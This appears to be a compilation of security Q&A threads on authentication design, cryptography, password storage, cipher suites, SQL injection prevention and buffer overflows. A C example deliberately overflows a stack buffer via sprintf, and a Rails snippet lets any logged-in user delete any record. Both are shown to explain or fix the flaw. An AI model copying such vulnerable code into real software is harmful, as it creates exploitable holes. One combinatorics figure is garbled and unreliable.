Potential Risks Using Reference Code Based Authentication For Web Based Application Form That Contains SSN I'm currently building a web based membership application form that will require a user to enter an SSN and other identifiable information. Part of the requirements of the membership application is to allow a user to be able to resume their application and pre-fill of the information they already entered into the form fields. The stakeholders do not want to burden the user with a username and password. We have come up with the following alternative authentication method.

A user can start an application and click a button to "Save" their application. When they click "Save" an email is sent to them and they receive a 6 character alpha numeric reference code.

To "resume" the application the user must then enter the 6 character reference code as well as their birth date, last name, and last four digits of their SSN.

My question is, on a scale of 1 to 10 what would the risk factor in allowing a user to authenticate in this manner. What is the probability that someone could load someone else's application if they brute force attacked the web based form. And if the risk scale is high, then what can I do to increase the security on this form. I can't implement a password system and the reference code needs to be simple enough that someone could over the phone present the code to a customer service agent.

Additional Security:

Reference Codes will expire after 1 week on non-use.
Reference Codes will expire once the form has been submitted.
The web application is using HTTPS and TLS to transfer the data.

About 200 applications will be submitted per week, so around a max of around 200 applications might have active reference codes in a given week.

First of all, I wonder if your form is so long that it actually makes sense to implement all of this rather than simply have the user fill out the missing details.

Second, you don't mention the country, I will assume you are targeting United States citizens.

Moreover, not everyone there has a SSN, so I will further assume that people without one cannot enroll there.

Your requisites are

  the user must then enter the 6 character reference code as well as their birth date, last name, and last four digits of their SSN

I don't really like the way this came out. Apparently, someone came up with that as an authentication method, and then you have to verify if it's secure enough for your needs, rather than actually designing the authentication after your system.

According to the 2010 US Census, there are 2,442,977 people with a surname of Smith out of 308,745,538, which means that every week there will usually be between 1 and 2 people (1,58) with that last name in your platform.

Using only the last name would obviously have been a bad idea. But what about the other items that are being mixed? The date of birth will be roughly spread through the year (unless this is a membership application for a leaplings association!), and the SSN would appear to further distribute that. Alas, it is long known that Social Security Numbers are Not Random, and based on birth date it might be possible to predict the SSN, so as a security measure I don't think you should be relying on those 4 digits.

All of these are public data anyway, and -even when using the full names- are inherently flawed ways of identification, leading to mixup stories such as the one of Lisa Davies or Jessica Ishak. The whitepaper The Trouble with Names/Dates of Birth Combinations as Identifiers concludes that 8.3% of people aren't uniquely identifiable by names and DOB.

However, you have an extra ace to play here which is the 6 character reference code. Presumably, you would generate it in a way that two people with same name and date of birth would receive different reference codes. Preferably, giving out different reference codes to different people. This is the strongest piece we can rely on.

These reference codes must be generated in some random way, certainly not a sequential code. Assuming you were not including vowels in order to avoid generating words deemed offensive, and even ignoring numbers, you have 216 = 85,766,121 combinations. Ample enough to give an unique code to each user, and have the entries so sparse that it would be hard to guess a valid one (assuming you use an adequately random generator).

Thus, you can do a proper job using only the stated reference code. You should however take bruteforce protection into account on the resumption form, so that for instance users get asked to fill out a captcha instead of the other stated data, and include throttling limits on multiple attempts of resuming invalid codes.


Checking if current user exists before executing code In one of my controllers I have this method:

  def method_name
    if current_user
      @model = Model.find(params[:id])
      if @model.destroy
        flash.alert = 'Model deleted successfully'
        redirect_to models_path
      end
    end
  end

I check if there is a current_user assigned by devise before giving the ability for the @model to be deleted. Is this safe and sufficient in terms of security?

What I really do is just checking if current_user exists. So is there a way that somebody can "trick" the system that current_user does exist and as a result be able to trigger the commands included in the method?

I'm not sure about your application, but what you seem to be missing is that the user has some sort of control over the model (i.e: the ability to delete it).

If your application allows users to be created without any intervention/approval, anyone could create a new user (and thus, have a valid current_user), and remove all objects by just iterating through all your id values:

/url/1
/url/2
...

Again, not sure what your app does, but you may want to put something like:

if current_user
  @model = current_user.models.find(params[:id])
  if @model.destroy
    flash.alert = 'Model deleted successfully'
    redirect_to models_path
  end
end

This will only allow a user to remove his/her own objects, not every object on the system.


Bitwarden and gamecontrollerd on OsX Big Sur Recently, I came across an issue concerning a daemon named gamecontrollerd in OsX Big Sur.
On my laptop I'm running ReiKey (from Objective-See), which aims at identifying possible Key Loggers that leverage "event taps".
Today I got this strange (and somehow creepy) situation: as soon as I started the Password Manager software Bitwarden, a warning came up from ReiKey. In particular, the presence of the process /usr/libexec/gamecontrollerd was highlighted.
If I close Bitwarden, the process /usr/libexec/gamecontrollerd keeps running. I have to kill it through the terminal. However, as soon as I open BitWarden, /usr/libexec/gamecontrollerd restarts.
The presence of gamecontrollerd as passive listener of key taps apparently started after the BigSur update (there's an Apple post here)
I know this may be just a coincidence (i.e., the start of Bitwarden and a key-tap passive listener), however I wanted to check with someone else who may have had the same type of scenario.
Thanks

TL;DR

gamecontrollerd daemon is part of MacOS environment.
any app which uses chromium underneath (any Electronjs) would launch for some reason this daemon
what actually triggers the unfocusing is ReiKey itself

The gamecontrollerd is related to a new Game Controller framework which is a part of the MacOS system. For some reason Chrome (based on Chromium) and accordingly Electronjs (also based on Chromium) are launching this daemon when you open those apps. For example Spotify would do that, Slack too. The issue might not be the issue at all actually. I recommend to read through the thread on the ReiKey github to get more understanding if this is the problem. Try turn off the apps which are starting this daemon for a while and see if the focus is still lost. I did this test and can confirm it doesn't start. What actually triggers the unfocusing from the active window is ReiKey itself thinking that gamecontrollerd is a suspicious thing. But Patrick Wardle, creator of ReiKey and other security apps, is definitely a trusted person with other eyes watching him as well.


What is the difference between a SIEM and a SOC? What is the difference between a SIEM (Security Information and Event Management) and a SOC (Security Operations Centre)?

Do they work together? And if independent when to use which?

At a high-level, just remember that:

A SIEM (Security Information and Event Management) is a specific kind of technology, providing network visibility in a security context (by indicating suspicious/illegitimate activity through set-up rules and correlation intelligence), and enabling security analysts to act on suspected threats.
A SOC (Security Operations Centre) encompasses the People, Processes, as well as Technology involved in protectively-monitoring a network, responding to incidents, and researching/actively searching for known/unknown threats.


Reducing asymmetric authorization token size I would like to use an asymmetric rather than symmetric signature for authorization, since I don't want a compromised service being able to forge authorization tokens (obviously).  An authorization token is generated by an authentication server for a specific set of services, and returned to the client, always transported as a base64 encoded string.  After expiry, the principal must re-authenticate to retrieve a fresh token.

I need to handle a high volume of very small stateless HTTP-REST requests (potentially several a second per client), and I'm conscious of the overall size of the token saturating the network.  Currently I'm (randomly) considering using 2048-bit RSA with SHA-256, but further reducing this overhead would be great.

Since a given token will always expire within at most 15 minutes, it dawned on me that it should be possible to use an even smaller key/hash by regularly generating new key-pairs.

Services would periodically poll a key provider service to retrieve the current and next public key, and a byte or so of the token would identify the key used to sign it.

Is my assumption correct? Can I stoop to as low as 1024-bit keys? I vaguely recall that there is a break for RSA <= 512 bits, how severe is it, and could one compensate by rotating the keypairs faster?

I'm not married to either RSA or SHA256, but I am dependent on OpenSSL.

I'd like to first ensure my reasoning is sound, and second, to solicit any algorithm/key-sizes/alternative techniques that would be considered good practice in this situation.

If you want fast & secure crypto, use NaCl library by Bernstein et al. Relevant to your question is its ED25519 asymmetric crypto system. Key generation, signatures, and verification are lightening fast. Far as space goes, the keys are 32 bytes and signatures are 64 bytes. Their implementations are resistant to timing channels. They also implement more common algorithms for compatibility. They also give you high level features along the lines of "sign this" rather than forcing use of low-level primitives on people who aren't cryptographers.

NaCl
http://nacl.cr.yp.to/sign.html


How should I respond to poor password security? My son's school uses a 3rd party to handle tuition and fee payments.  I have recently come to the realization that they completely fail in the area of password security.

Last month they sent a statement to my home.  Included with the statement was a letter that had my username and password.

OH NOES!  They don't encrypt their passwords!

Had some trouble logging in, so I clicked the 'Forgot my password' link.  They emailed my username and password to me.

YIKES!  They just send it through email unencrypted like that?

Logged in and went to change my password.  After I submitted my new password, the next screen displayed my username and new password on the screen.

YOWZER!!!  Don't they know there's a reason the password field shows those little dots instead of the letters the user types?

Given that the company has personal information (credit card numbers, bank account numbers, etc.), this is incredibly troubling.  If they got this wrong, what else have they gotten wrong?  I bet there's a SQL injection vulnerability in there just waiting to be exploited.

Now I'd like some advice as to what to do.  I've sent an email to the offending company, explaining what they're doing wrong in terms of password security.

I am going to bring it up with the school, but I'm afraid that any discussion about the importance of password security will be met with confused looks and blank stares.  But if I can say to them "This company is violating regulation X for the protection of consumer financial information," then they might understand what I'm trying to say.

Are there laws/regulations protecting people from these sorts of negligent security practices? Especially with companies that handle consumer financial information.

If they don't respond and improve their security, is there a monitoring agency I can report them to?

Any other recommendations on what I can or should do?

Edit:

I, the 3rd party and the school are all located in the US.

This 3rd party is a company that offers a 'tuition management' service, which (according to their web site) is used by over 2000 schools.  Instead of submitting payments to the school, we submit our payments to this company.  They take care of the depositing, accounting and collections for the school.  For parents, you can review your bill and submit payments online, in addition to just mailing them a check.

I'm hoping that the school itself isn't liable for anything, since the failing is entirely with this other company.

Edit #2:

Thanks to all for the suggestions.

The school has a contract with the company which prohibits the school from accepting payments directly.  I paid the 2011-2012 tuition before the contract went into effect, so I was able to pay by check to the school.

The school requires everyone to have an account with the 3rd party.  Fortunately for me, the only personal information of mine the company has is my name and mailing address, and what used to be a really good password :-(

At this point there's no freaking way I'll pay by credit card or bank draft through this company.  Paying by check is an option, but it's unclear if my check next year can be made out to the school, or if has to go through the 3rd party.

You don't list where you're from, so these answers assume you live in the US.

Credit-card processors are required to respect something called PCI-DSS (Payment Card Industry Data Security Standards).  It lays out how data is supposed to be handled and stored, and (some really big) penalties for failure.  Larger companies (like retail chains) get audited - smaller groups may get exemptions.  Key to the discussions here is that all credit card numbers (and some additional information), as well as passwords for (at minimum) system admins, are to be kept encrypted as much as possible (especially in storage).

However, the school could be handling your credit-card securely, while handling the rest of the security poorly.  Please consider:

Are you able to see your full credit-card number?  If so, I'd be alarmed, although the company may need some way to reverse the decryption for handling things like reversals.
Besides paying your child's tuition, what else can be done on this site?  It's unlikely that you are able to buy something on Ebay from there, so an insecure password may be a non-issue (just use a different password).

So, they may have security problems, or it could be deliberately relaxed to allow for a 'friendlier' system.  Given the system's behaviour, you do have a legitamete cause for asking them about it.  If their responses indicate inadequate/non-existant security, you should ask for an accounting, at minimum by having them take the website offline, and reporting them if necessary (keep in mind that this will increase tuition costs if fines are levied).

EDIT:

If the school is not directly handling the credit-card number, or indeed any of the related payment information, they are not liable for PCI violations (that I am aware of).  This is one of many reasons so many websites offload payments to services like Paypal - they are no longer liable (compliance is HARD).  I would argue that they do have an obligation to select a secure, reliable processor, but I don't know that I'd ever sue them for that - it's the payment company's responsibility to act appropriately (that's the service they are providing).

Storing end-user passwords in plain-text is disturbing, but this may still be a non-issue.  Send them an email/letter referencing this fact (especially the fact that they mailed you a letter with the plain-text password), and ask what's up.  Again, if your payment information is not (completely) visible to you, it may still be handled securely (if it's displayed, report them).  Otherwise, given the (probably extremely) restricted financial domain, there isn't likely much an attacker could do with the information - paying for their own tuition would be something of a dead giveaway, if it's even possible.

If you're still concerned, remove all of your own information, pay by check, and notify your school about your concerns.


RFC 6637: Algorithm-Specific Fields for ECDH I am trying to integrate RFC 6637 into Bouncy Castle C# which is more challenging as initially thought because both private key and public key have to be present to calculate the share secret: that those not fit into the API of bouncy castle.

Anyways, Section 10 of the RFC defines a public key is to be encoded into the Public-Key Encrypted Session Key Packet.
Is this the public key of the sender or the receiver?
Either way, why is the OID not part of it, because without the OID, the point is more or less useless.

UPDATE:
I just used Symantec Pgp Command Line tool to dump the packets of ecc encrypted files. Now i understand a bit more: for every encryption, the sender generates a new ECDH key which matches the curve of the receiver and sends the new public key as part of the package.

UPDATE 2:

RFC 6637 is now fully supported. Check the repository.

In the Diffie-Hellman algorithm, sender and receiver must play in the same group -- in the case of ECDH, the same curve. People with key pairs do not a priori share the same group parameters (although in the case of elliptic curves, there are very few "standard curves"). If both sender's and receiver's key pairs use the same curve, they may use that to compute a shared key, but, in general, this cannot be assumed.

Moreover, PGP follows the email context, which is one-way: a single message is sent from the sender to the receiver, and the receiver is not notified of the transaction until the email is actually emitted. The receiver is then completely static throughout the operation. Therefore, sender and receiver must use the group of the receiver's key pair.

It follows that the sender must (normally) create a new key pair, deemed "ephemeral" (that's the important word in section 10 of RFC 6637), just for that email-sending, in the same group as the receiver's key. The sender will not store that key (hence the naming). The message must include the public part of the sender's ephemeral key pair, i.e. a curve point; the curve OID needs not be specified because, by definition, the receiver's curve is used: the receiver already knows it.

Note: since the sender uses a brand new ephemeral key pair, not sender authentication is implied by ECDH. If the sender wishes to prove his identity to the receiver, he must also sign his email, with his own, non-ephemeral, signature key pair.


Password-generating - which non-alphanumeric symbols can I use? If this isn't the right forum, I apologize, but here goes...

I'd like to make a password-generator - strictly for myself.  I'd like four "levels" of characters, but I'm a bit unsure of which symbols should be in each of the three latter ones - since I don't know which symbols sites are likely to disallow.  I know this is somewhat a question of "personal opinion" - but lets call it "experience" instead...

I'm not going to use any accented letters, letters from other alphabets (Greek, Cyrillic, ...), letters only used in a few countries (like letters specific to Scandinavia or Poland), or special symbols (like "masculine" or "upside-down question mark").  So please ignore these...

My four "levels":

Upper-and lower-case letters, and digits
Symbols, "always" allowed (if the site accept symbols in passwords, it accepts these)
Symbols "usually" allowed (if the site allows more than the very minimal of symbols, it allows these too)
Symbols "sometimes" forbidden (in the rare case some symbols are not allowed, it's usually some of these)

(...And while not applicable to my password-generator, are there any symbols that are almost always forbidden for various reasons?)

As for the fourth group, I'm particularly thinking of symbols likely to do "Bad Things" to PHP/ASP/JSP-scripts, JavaScript, HTML/CSS and SQL; and thus are often forbidden.

According to OWASP, which uses references from Microsoft AD, and Oracle Identity Manager, these symbols are allowed.

!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~

https://www.owasp.org/index.php/Password_special_characters

However, I suppose that only answers your "usually" question. OWASP further explains that "Various operating systems and applications may apply limitations to this set".

Which to me says, it's completely subjective. Meaning, if I'm an application developer, I can choose to utilize industry standards (OWASP), or use my own subset.

So, to answer the "always" question, I think it would be safe to assume that these are acceptable.

!#$%&()+-/:;@[\]^_|~

Additionally, given the above information, I would go with these as the "sometimes forbidden" options.

"$%'()*+,-./:;<=>[]`{}

Since this is somewhat of a subjective question, no answer given can be 100% accurate. I think this should help with your task though..


How to allow users to connect from multiple devices with refresh tokens? This question follows my previous one: How to securely keep my users signed in with refresh tokens?

What I got from this previous question, is that we need:

short-lived access tokens
long-lived one-time refresh tokens

Refresh tokens are persisted in DB alongside users in a 1-1 relationship (1 user = 1 refresh token). Each time a refresh token is created for a user, it replaces the previous user's persisted one (if any). This allows possible hackers to have only a limited window to do their stuff:

user signs in and receives access token A1 and refresh token R1
hacker achieves to get those tokens somehow
access token A1 reaches expiration, so the hacker gets new access/refresh tokens A2/R2 thanks to the stolen refresh token R1: newly created refresh token R2 (that only the hacker has) replaces the previous one R1 in DB (the one the user has)
user fails getting a new access token because his refresh token R1 no longer exists, so signs in again and get new access/refresh tokens A3/R3: newly created refresh token R3 (that only the user has) replaces the previous one R2 in DB (the one the hacker has)
hacker's access token A2 expires, but cannot get a new one because refresh token R2 no longer exist: needs to steal the tokens again (supposed to be tough to do of course)

What I'm wondering here, is how to allow a user to connect from multiple devices with this mechanism? For example, if a user signs in with two different laptops, then refresh tokens will always erase each other... Any clue?

In my opinion the question you're asking now is not really regarding security anymore, instead it's more focused on the implementation of a concept. You have already established that refresh tokens makes it harder for attackers and it appears like you have a working implementation. From what you are describing, you are making use of a custom solution and not something like an OAuth2 library implementation that will provide this functionality to you.

What you now need to decide is if you want multiple device authentication from the same user account. If you do not want users to sign in from multiple devices on one account, congratulations, your solution is already working. They will be logged out from the old device soon since it will not contain the correct refresh token after a timeout.

If you do want to provide users the ability to sign in from more than one device on the same account, you unfortunately require a few changes. A possible solution is to add a device identification field in your database and issue a refresh token per device.


Mark parts of strings as unsafe? Is there a smooth way to mark unsafe parts of a string? i.e. for use in SQL.

example in php:
someFunction("safe text" . $unsafeVariable . "safe text" . $anotherUnsafeVariable);

Is there a smooth way to know, in someFunction, what parts of the passed string that is unsafe?

I could send an array of strings where each string is prepended with something telling if it's safe or unsafe, but that isn't really a smooth way to write code.

Actually there is a way to mark a string element as "unsafe" and it is called prepared statements. A prepared statement is a piece of SQL code which is hardcoded in the application source, i.e. a "safe string", but with a few place-holders for parameters: each place-holder really means: "when it comes to executing this SQL statement, use the argument string, but take care that the argument may be 'unsafe', i.e. may contain anything in a potentially hostile way".

That's exactly the mechanism you are looking for: a way to mark parts of a SQL statement as "unsafe" and thus warranting some extra automatic "resafing".

Some people use manual, non-automatic methods to "make strings safe", with functions such as mysql_really_really_espace_string_this_time_I_said_please(). These manual methods are deeply unsatisfying, inefficient, and occasionally fail because they rely on some PHP-provided method to be fully aware of all the details of the syntax of statements accepted by MySQL, a distinct software package, potentially upgraded separately, and written by distinct developers who do not necessarily synchronize with PHP developers. With prepared statements, the "escaping" (or equivalent mechanism) occurs deep within MySQL itself, and we can assume that MySQL, at least, agrees with itself, avoiding these problems.


Security Review - password_hash implementation for PHP I'm currently working on a "helper function" for PHP's core to make password hashing more secure and easier for the majority of developers. Basically, the goal is to make it so easy, that it's harder to invent your own implementation than to use the core secure one. It's also designed to be updated and extended in the future as hashing methods improve.

I've written an RFC for the addition, and have an  implementation of the functions as well.

The basic premise is that crypt is too difficult to directly use correctly for the majority of developers. The weird error returns, the base64-like (but using a different alphabet) salts, etc. So these functions are designed to take that guesswork out, and provide a dirt simple API.

string password_hash(string $password, string $algo = PASSWORD_DEFAULT, array $options = array())
bool password_verify(string $password, string $hash)
string password_make_salt(int $length, bool $raw_output = false)

Password_Hash takes in a password, an optional algorithm specifier (right now, only the improved CRYPT_BCRYPT implementation is supported, but would like to add scrypt as an option later), and a options array. The options array can specify the cost parameter to bcrypt, as well as a predefined salt value.

Password_Verify accepts a password, and an existing hash. It then re-hashes the password (identical to $tmp = crypt($password, $hash)). Then, it uses a constant-time comparison function to determine if the two hashes are indeed equal.

Password_Make_Salt exists to generate a random string of the given length. If raw_output is set to false (default), the outputted "salt" will be base64 encoded in a way that's directly compatible with crypt(). If raw_output is true, it will return the same length string using random full-bytes (0-255).

Example:

$hash = password_hash("foo");
if (password_verify("foo", $hash)) {
    // always should be true
} else {
}

A note on reading PHP's source code: PHP functions (those exposed to php code) are surrounded by the PHP_FUNCTION() macro. Additionally, php variables (zval's) are used in a few places. The macros that access parts of them are

Z_TYPE_P() (finding the type of a pointer to a zval)
Z_STRVAL_P() (get the pointer to the string value)
Z_STRLEN_P() (get the int length of the string type)
Z_LVAL_P() (get the long value of the integer type)

Additionally, zval_ptr_dtor() is a refcount mechanism to decrease the refcount on a zval, and clean it up if it hits 0.

I'm looking for a review of the implementation by at least a few security experts prior to officially proposing the change. It's reasonably short (only about 300 lines of code)...

Update

The API has been approved, so I've set up a Pull Request for the functionality. Please review it if you have time. Thanks!:  https://github.com/php/php-src/pull/191

In C, I usually recommend that you should be consistently using size_t to store all length values, not int or long.  Using int and long exposes you to integer signed/unsigned bugs.  Reference: INT01-C from the CERT C Secure Coding Standard.
However, there is a complication in this case, due to the way the PHP native code interface works:

When you read an integer using zend_parse_parameters(), PHP expects you to store it in a long.  Therefore, you should pass zend_parse_parameters() a pointer to a long, then convert the long to a size_t carefully: validate that the number is non-negative and falls within the range for size_t (l >= 0 && l < SIZE_MAX), then cast it to a size_t and use a size_t thereafter.

When you read a string using zend_parse_parameters(), PHP expects you to pass a buffer to store the string and a pointer to an int to store the string length. Therefore, you should pass zend_parse_parameters() what it is expecting.  Then, carefully convert the int to a size_t: validate that the length is non-negative and falls within the range for size_t (len >= 0 && len < SIZE_MAX), then cast it to a size_t and use a size_t thereafter.
Similarly, Z_STRLEN_PP() returns an int (I think) so you'll probably want to do the same for it.

(Beware of passing a long as a length to memcpy(); I don't know for sure, but that code smells pretty dubious to me and of high risk for an integer casting/truncation bug.)
buffer = php_base64_encode((unsigned char*) str, str_len, NULL);
for (pos = 0; pos < out_len; pos++) {
    if (buffer[pos] == '+') {
         ...
    } else {
         ret[pos] = buffer[pos];

That looks like it could read past the end of buffer to me.  I think you need an additional check to make sure that pos is smaller than the length of buffer.


Why can you not trust a certificate directly? If you want to set up a service that is signed using some Certificate Authority system (SSL/TLS, certain configurations of IKE, etc), if you want to use a self-signed certificate (e.g., for testing), you generally have to create a certificate, a CA certificate, sign the first using the second, and then install the CA certificate's public key as trusted in your client configurations.

I'd think that it'd be just as secure to just trust the non-CA certificate directly. Why the more complicated setup? Is this a consequence of the fact that these systems are designed to work with a CA hierarchy, or is there some more specific reason?

Depends what you are testing. According to wikipedia:

  a CA is a trusted third party—trusted both by the subject (owner) of the certificate and by the party relying upon the certificate.

So if you want to test the real world scenario where there will be a CA, then it would be better to create a "test CA" and have that sign your self signed "test Certificate". This would test out the CA trust infrastructure.

Trusting the self signed certificate will also work but it is not simulating the real world scenario. If your testing scope does not require you to test the CA trust chain, then you can trust just the self signed certificate.


Is gnupg's tsign compatible with S/MIME GnuPG supports creating trust signatures using the tsign sub-command. (The documentation is not really verbose about this.) By using this option it is possible to create a certificate hierarchy similar to the CA-hierarchy in S/MIME.

Is it possible to convert GnuPG trust signatures to S/MIME signatures.

GnuPG implements the OpenPGP specification, which is not compatible to X.509 and S/MIME. Not only the format in which keys, certifications, signatures and messages are stored are different and OpenPGP implements a variety of the CFB mode for encryption, also the trust model differs heavily (web of trust/network in the case of OpenPGP, and a hierarchical trust system for X.509): while you can map the X.509 certificate hierarchy into an OpenPGP trust network, the other way is not generally possible (for example, OpenPGP allows loops, which cannot be mapped to a tree). Furthermore, the metadata stored in keys is different.

While you could theoretically export the eg. RSA primes and convert a key from one format into the other, those would still not be compatible. Similarly, there is no way to convert certificates from one system to the other in a compatible way. An example why this will not work out is that the certificate is issued on a hash sum of the key, which is not reversible and calculated on different input for each of the systems.


Where should 'reset password' functionality be? We've recently overhauled the backend to our mobile app from having a very basic authentication mechanism that went through the API to having both an authentication server and an API server, with the auth server issuing OAuth2 JWT tokens (authorization code flow) for login and the API authenticating clients based on these tokens.  We open the mobile device's browser, attached to the app, so that the user can enter their credentials straight into the auth server's web interface and the password never has to go through the app, which is a potential security risk.

We've also switched to using the same mechanism of opening the mobile device's browser for our "register user" and "change password" functionality, in both cases because these are also times when the user will be entering a password, and we don't want it to go through the app.

However, I'm not sure about our "forgot password" functionality.  This is still using the app's UI to go through the API server at the moment because the user isn't having to enter a password (just an e-mail address to which a password reset link is sent) and so no password is exposed to the app, and as the API and auth server are sharing a user credentials database the API is able to generate the password reset link and store it in the DB, but should we be exposing this functionality on the auth server instead as a web interface similar to how we're doing register, login, and change password?  If so, why?  What are the pros and cons?

From my experience, it is always recommended to have all identity-based operations in one place. In your use case it is AuthN service which manages the identity.

I would also adice to taking a look into biggest gamers on this market: Google Account, MS Azure AD, GitHub, Twitter. If  you have application which uses those identity providers to authenticate users, the reset password feature (and others) are performed on the identity provider. I believe that thay cannot be wrong. What more, also providers of Identity providers solutions like Ping, Auth0, or KeyCloak, are providing own services for this tasks.

The same thing is also in your case. If your are presenting your own Identity Provider (IdP) for your app so you possibly think of possibility to create other client apps which also be using the same IdP. Would you implement "forget password" in that application separatelly? I belive you would not like to repeat yourself. You can implement all forget-password feature best practices in one place and than your would not have bother on any other app.

Summarizing, I recommend to implement that on Auth Server.


Qualys SSL Scan weak cipher suites which are secure according to ciphersuite.info I am testing my application SSL configuration in Qualys SSL Labs and as a result, I have this cipher suites labeled as weak:

But according to https://ciphersuite.info/ all of these cipher suites are secure or even recommended.
How should I interpret this? Do you think that all these "weak" cipher suites should be disabled?
Why Qualys labels these cipher suites as weak?

The information on ciphersuite.info is not presented in the clearest of ways. Let's have a look at their FAQ:

What does insecure, weak, secure and recommended mean?
Weak
These ciphers are old and should be disabled if you are setting up a new server for example. Make sure to only enable them if you have a special use case where support for older operating systems, browsers or applications is required.
Secure
Secure ciphers are considered state-of-the-art and if you want to secure your web server you should certainly choose from this set. Only very old operating systems, browsers or applications are unable to handle them.
Recommended
All 'recommended' ciphers are 'secure' ciphers by definition. Recommended means that these ciphers also support PFS (Perfect Forward Secrecy) and should be your first choice if you want the highest level of security. However, you might run into some compatibility issues with older clients that do not support PFS ciphers.

So to be frank: Weak means these have problems and should be avoided at all cost. Only enable these if you know you really really have to. Secure means they're not technically broken, but they also don't offer any desirable features. Recommended means these are the ones you should actually use.
I would disagree with their statement about incompatibility. The only clients that do not support modern ciphers are already outdated clients and no longer supported anyways. These clients should be dropped unless you have a very good reason to support them.
Why are these ciphers in particular considered weak?
As Soufiane Tahiri pointed out in his answer, CBC ciphers and RSA ciphers are not considered state-of-the-art anymore.
CBC ciphers have quite a lot of problems, such as the mentioned Lucky 13 attack, or other side-channel attacks. CBC also violates Moxie Malinspike's Cryptographic Doom Principle:

If you have to perform any cryptographic operation before verifying the MAC on a message you’ve received, it will somehow inevitably lead to doom.

GCM, for instance, does not violate this principle, so it is vastly preferred.
RSA on the other hand does not support forward secrecy, which is a VERY useful feature when it comes to cryptography. Basically, with RSA, the server sends its public key, the client generates a random secret, encrypts it with the public key and sends it back to the server. The server then decrypts it with its private key. The following graphic from the Cloudflare Blog illustrates it well:

While this looks simple and secure, it does have one glaring weakness: If an attacker captures the initial key exchange and later gets the private key in some way, the can decrypt the previously captured traffic.
Cipher suites which support forward secrecy work in a different way. Instead of transmitting the secret over the wire, a key exchange protocol like Diffie-Hellman is used, in which the actual secret to be used is generated through mathematical means. I'll leave it up to the reader to see how it works exactly. The advantage is that the secret is ephemeral, meaning that it exists only for one session and that's it. Even with access to the private key and the entire communication, the secret cannot be determined. Furthermore, if the secret key used in one session is compromised, other sessions are still secure.
So what does this all mean?
In simple terms: Don't use cipher suites that Qualis SSL scan claims to be weak. You have no advantages in doing so.


Smashing the stack if it grows upwards As we know that on most of the processor architectures, the stack grows downwards. Hence, memory exploits involving smashing of stack and buffer overflow and their explanation make sense.

Just wondering whether it is possible to implement such attacks involving stack smashing on systems like HP's PA-RISC, where the stack grows upwards? If yes, how would it work? If no, why won't it work?

Buffer overflows occur because of a programming bug: due to circumstances unforeseen by the developer, but triggered by the attacker, the code is writing data beyond the end of the buffer. What end ? Well, there are two: toward high addresses, and toward low addresses.

The traditional way to write a loop looks like this:

for (i = 0; i < n; i ++)

and not like this:

for (i = n - 1; i >= 0; i --)

which means that developers tend to apply algorithms in the low-to-high order. There is no mathematical reason for that, but developers are trained to think like that; and hardware's evolution has followed (pre-fetching strategies in RAM chips rely on this pattern, too). Usual suspects for string manipulation (strcat(), sprintf()...) also overflow on the high end for the same reason: they operate low-to-high.

This implies that most buffer overflows also occur on the high end of the buffer, not on the low end. On a stack which grows downwards, this allows these overflows to target the return address of the current function: the best a buffer overflow exploit can hope for is redirecting execution into attacker-chosen code, and for that the overflow shall overwrite a memory slot which contains a pointer to code, which the code will follow at some ulterior point. The "return address" slot on the stack is convenient for that. But that's not the only pointer to code.

In particular, when using C++, any object with virtual methods must contain some sort of reference to a structure containing pointer to these methods (the vtable). This gives a lot of extra targets which may be in range of a buffer overflow. C++ objects can be stack allocated.

Another point is that when a buffer is overflown, it could be located in another stack frame. For instance, this:

void foo(char *s)
{
    char buf[10];
    bar(buf, "x", s);
}

void bar(char *dst, char *s1, char *s2)
{
    sprintf(dst, "%s/%s", s1, s2);
}

In this example, if the attacker can put an oversized string as parameter to foo(), the buffer allocated on the stack frame for foo() will be overflowed in bar(). If the stack grows upwards, the return address for foo() will be undamaged, but the one for bar() will be overwritten.

To sum up:

An upward-growing stack means that the function return address of the function which allocated the buffer will usually be unharmed.
But other function return address slots for other functions may be in range (and actually be more in range than if the stack had grown downwards).
And though they are rarer, buffer overflows on the low end (sometimes called "underflows") also occur in practice.
And the return address slot is just one of the juicy targets for an attacker.

So we cannot really think of upwards-growing stacks as a protection against exploitation of buffer overflows. It changes the attack conditions, but not necessarily toward safer grounds. Experience shows that buffer overflows have been exploited with success on architectures with upwards-growing stacks.

(Note: the PA-RISC CPU, by itself, knows of no stack. The stack is part of the calling convention, which says that GR 30 is to be conventionally used as stack pointer, and that the stack grows upwards. This is how HP defined it but any operating system could decide otherwise. It is a generic trend for most RISC CPU: the hardware knows of no stack, so the position and direction of the stack are a matter of convention between OS and applications.)


Free/Libre software to handle TCG OPAL 2.0-compliant Self-Encrypting Drives (SEDs)? I'm in search of a free/libre software that is able to handle OPAL (2.0)-compliant SEDs (i.e. manage the setting of Pre-Boot Authentification (PBA) environment, encryption keys...).

It could be a utility that runs as a live image (thus OS-independant), or a client software that would work on GNU/Linux distributions. It would allow one end-user (not looking for fancy enterprise stuff) to manage the lock key (set, modify and delete the password used to encrypt the encryption key) and create the PBA.

hdparm is nearly what I'm looking for, but only works with ATA security features (no OPAL consideration, no PBA...), which can be troublesome with loosy BIOS (cf this blog post to understand how BIOS can screw up ATA password feature on SEDs).

The Trusted Computing Group (which edicts the OPAL standard) mentions a couple of "Independent Software Vendors" that handle OPAL SEDs, but most if not all of them require a Windows copy to be set up, or are aimed at large companies. I've been referred to SecureDoc's WinMagic Enterprise edition for its GNU/Linux compatibility and OPAL compliance, but I couldn't get in touch with their sales department because I don't have a "non-free"/corporate address (sure, why not).

More importantly, I don't trust closed ("proprietary") software for anything related to security. In those times of PRISM scandal and other large-scale impingements on privacy, it would be completely absurd to rely on opaque encryption technology proposed by a US-based company. Hence the search for a libre software which acts "in the clear" and whose source code can be reviewed and compiled for oneself.

If you do not know of such a software, any hints on how one could be produced? Start a crowdfunding campaign, make a request during a DefCon...? I'm just a normal end-user with no development skills, but I wouldn't mind participating in the funding of such a project.

Other interesting resource: SSDs with usable built-in hardware-based full disk encryption, a blog post with the most comprehensive info I could find on the topic of SEDs and FDE ;

A developer has started work on a GPL'd command line tool for supporting TCG Opal 1.0/Opal 2.0/Enterprise drives under linux and windows. It's in very early development (v0.02alpha), but I like what I see so far and I have done some testing for the developer.

Source:
https://github.com/r0m30/msed

Binaries:
http://www.r0m30.com/msed/files


For government warrants and data requests, is client side encryption the way to go? I know client side encryption is generally not seen as ideal. However, I can't imagine how server side encryption can ever give the user full peace of mind.

If data is encrypted on the client and the server only receives encrypted data, then it is impossible for the server owner, even under pressure from a government, to tamper with the data or provide a backdoor to it.

However, server side, the server owner could be under pressure from the government to funnel certain data before it enters encryption to a government backdoor.

